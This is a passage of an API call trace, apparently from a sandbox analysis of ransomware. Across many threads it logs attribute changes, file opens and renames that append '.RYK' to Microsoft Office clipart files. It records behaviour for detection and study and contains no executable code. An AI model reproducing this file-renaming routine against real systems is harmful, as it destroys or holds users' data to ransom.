	[0267.038] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.094] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3331
	os_tid = 0x38ec

	[0267.038] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF", dwFileAttributes=0x80) returned 0
	[0268.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.096] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3332
	os_tid = 0x38fc

	[0267.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF", dwFileAttributes=0x80) returned 0
	[0268.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.161] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.161] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3333
	os_tid = 0x3900

	[0267.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF", dwFileAttributes=0x80) returned 0
	[0268.160] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.160] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.160] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3334
	os_tid = 0x3904

	[0267.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF", dwFileAttributes=0x80) returned 0
	[0268.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.159] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.159] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3335
	os_tid = 0x3908

	[0267.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF", dwFileAttributes=0x80) returned 0
	[0268.157] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.157] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.158] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02950_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02950_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3336
	os_tid = 0x390c

	[0267.041] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF", dwFileAttributes=0x80) returned 0
	[0268.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.156] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02957_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02957_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3337
	os_tid = 0x3910

	[0267.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF", dwFileAttributes=0x80) returned 0
	[0268.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.154] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.154] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03236_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03236_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3338
	os_tid = 0x3914

	[0267.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF", dwFileAttributes=0x80) returned 0
	[0268.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.169] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.169] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03241_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03241_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3339
	os_tid = 0x3918

	[0267.044] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF", dwFileAttributes=0x80) returned 0
	[0268.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.152] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.152] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03257_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03257_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3340
	os_tid = 0x391c

	[0267.045] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF", dwFileAttributes=0x80) returned 0
	[0268.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.150] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.150] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03331_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03331_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3341
	os_tid = 0x3920

	[0267.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF", dwFileAttributes=0x80) returned 0
	[0268.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.167] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.167] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03339_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03339_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3342
	os_tid = 0x3924

	[0267.046] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF", dwFileAttributes=0x80) returned 0
	[0268.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.165] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03451_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03451_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3343
	os_tid = 0x3928

	[0267.047] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF", dwFileAttributes=0x80) returned 0
	[0268.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.163] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.163] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03453_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03453_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3344
	os_tid = 0x392c

	[0267.048] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF", dwFileAttributes=0x80) returned 0
	[0268.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.139] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.140] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03459_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03459_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3345
	os_tid = 0x3930

	[0268.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF", dwFileAttributes=0x80) returned 0
	[0268.117] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.131] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03464_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03464_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3346
	os_tid = 0x3934

	[0268.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF", dwFileAttributes=0x80) returned 0
	[0268.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.130] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.130] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03466_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03466_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3347
	os_tid = 0x3938

	[0268.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF", dwFileAttributes=0x80) returned 0
	[0268.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.129] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03470_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03470_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3348
	os_tid = 0x393c

	[0268.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF", dwFileAttributes=0x80) returned 0
	[0268.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.128] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.128] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03513_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03513_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3349
	os_tid = 0x3940

	[0268.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF", dwFileAttributes=0x80) returned 0
	[0268.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.127] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03668_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03668_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3350
	os_tid = 0x3944

	[0268.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF", dwFileAttributes=0x80) returned 0
	[0268.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.126] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03731_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03731_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3351
	os_tid = 0x3948

	[0268.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF", dwFileAttributes=0x80) returned 0
	[0268.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.125] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE03795_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe03795_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3352
	os_tid = 0x394c

	[0268.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF", dwFileAttributes=0x80) returned 0
	[0268.120] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.124] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.124] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE04050_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe04050_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3353
	os_tid = 0x3950

	[0268.053] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF", dwFileAttributes=0x80) returned 0
	[0268.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.123] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.123] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05665_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05665_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3354
	os_tid = 0x3954

	[0268.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF", dwFileAttributes=0x80) returned 0
	[0268.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.122] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0268.122] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05710_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05710_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3355
	os_tid = 0x3958

	[0268.057] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF", dwFileAttributes=0x80) returned 0
	[0268.359] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE05869_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe05869_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0268.359] CloseHandle (hObject=0xffffffffffffffff) returned 0
